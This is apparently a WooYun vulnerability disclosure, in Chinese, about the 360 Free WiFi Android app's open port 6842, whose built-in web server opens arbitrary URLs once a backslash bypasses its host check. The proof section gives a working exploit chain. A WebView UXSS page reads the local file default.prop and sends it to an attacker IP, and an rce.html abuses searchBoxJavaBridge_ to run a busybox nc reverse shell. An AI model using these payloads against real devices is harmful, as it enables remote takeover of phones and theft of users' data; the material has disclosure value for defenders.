360免费WIFI可远程控制用户行为(种马弹shell窃取信息)
图文/WooYun @瘦蛟舞
漏洞详情
360免费WIFI个貌似后门的功能,将会给用户带来如何隐患?
通过netstat发现360免费 wifi监听6842端口.那么这个端口是干啥了的,是否可以利用?
sushell@pisces:/ su
su
root@pisces:/ # busybox netstat -tunlp
busybox netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::6842 :::* LISTEN 17222/com.qihoo.fre
首先逆向客户端来查看下这个端口的功能,通过关键字6842查找
追到父类,发现其是一个 nanohttp 轻量 android webserver
github 上有其源码,这里目测360只抽取了部分代码
[https://github.com/NanoHttpd/nanohttpd]
继续查看其是如何传参的
将请求中 u 中的 url 取出并且打开打开浏览器,但是在这之前有个对 host 的判断
到这里貌似就只能打开360旗下的域名,再利用就比较麻烦了.找一个360域下的 xss?或者绕过这个 host 判断?
经过测试发现利用反斜杠可以绕过这个限制
http://192.168.1.102:6842/?u=http://drops.wooyun.org\.360.cn
漏洞证明
接下来该如何进一步利用,居然是通过浏览器打开指定网页.首先想到的是:
- - 钓鱼/木马 apk/广告
- - webview rce
- - webview UXSS
现在就做两个实验:
通过360免费 wifi 远程 打开指定网页结合 webview UXSS 窃取用户本地数据
test.html:
<button οnclick="iframe.src='http://notfound/'">Open http://notfound/</button><br>
<button οnclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://192.168.1.50/test.js></scr"+"ipt><iframe src=file:/default.prop οnlοad=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>
test.js:
ar flag = 0;
function exploit2(){
if(flag) {return}
window.open('\u0000javascript:location.replace("http://192.168.1.50/?file="+escape(document.body.innerHTML))','test2');
flag = 1;
}
通过360免费 wifi 远程 打开指定网页结合 webview 远程代码执行,反弹 shell
rce.html:
<script type="text/javascript">
// var obj_smsManager = searchBoxJavaBridge_.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
//
// obj_smsManager.sendTextMessage("10000",null,"hello_world!",null,null);
//
function execute(cmdArgs)
{
//searchBoxJavaBridge_
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
try{
// execute(["/system/bin/sh","-c","id > /sdcard/browser.txt"]);
execute(["/system/bin/sh","-c","busybox nc 192.168.1.50 8088|/system/bin/sh|busybox nc 192.168.1.50 9999"]);
alert("good job!");
}catch(e){
alert(e);
}
</script>